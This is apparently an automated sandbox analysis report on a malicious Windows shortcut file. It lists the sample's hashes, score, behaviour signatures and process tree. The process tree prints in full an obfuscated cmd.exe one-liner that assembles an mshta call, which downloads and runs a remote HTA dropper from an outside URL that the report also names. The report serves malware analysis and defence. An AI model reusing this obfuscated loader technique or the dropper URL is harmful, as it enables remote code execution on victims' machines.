Analysis

  • max time kernel
    60s
  • max time network
    55s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/08/2026, 04:35

General

  • Target
    DOC-YWDNBX.lnk
  • Size 2KB
  • Sample260823-e71kyssgja
  • SHA256 9ea03cb653e82c75085572c3876f2b9359e8a0e29245993720b7c0bac0657005
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-YWDNBX.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1084
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set zO=oldhhvxcqvjrfszpishxtmold&set INHR=bakwxfdqbrsnulctkiqsmtbak&set iDna=cachelurximnlemzgrngbdtmttmccache&set Dx=oldgpnjujhrkuiold&set Kq=cfgbillhscfg&set XILu=winnlkopqcyfshmtrwin&set wZ=oldgjcmvykcjuywclojgold&set nutef=o6mp&&set Yr=oyhsk&&set vzST=yhtal&set pLxdG=logzzuefaelog&set RpVz=jsmz&&set wECP=mttzn&&set iFEae=uartmy&set VpF=infhyyvyninf&set aue=loguewfcjgphblyiskdstpslog&&set OBhvQ=https@://k-do@cu@men@[email protected]@t/h@/esta@g@[email protected]@hp?r=3@F1477@F@15@3@98D@1&&start /b !nutef:~2,1!!Yr:~3,1!!vzST:~1,3! !OBhvQ:@=!&&set MN=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3280
      • C:\Windows\System32\mshta.exe
        mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
        3⤵
          PID:4624

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads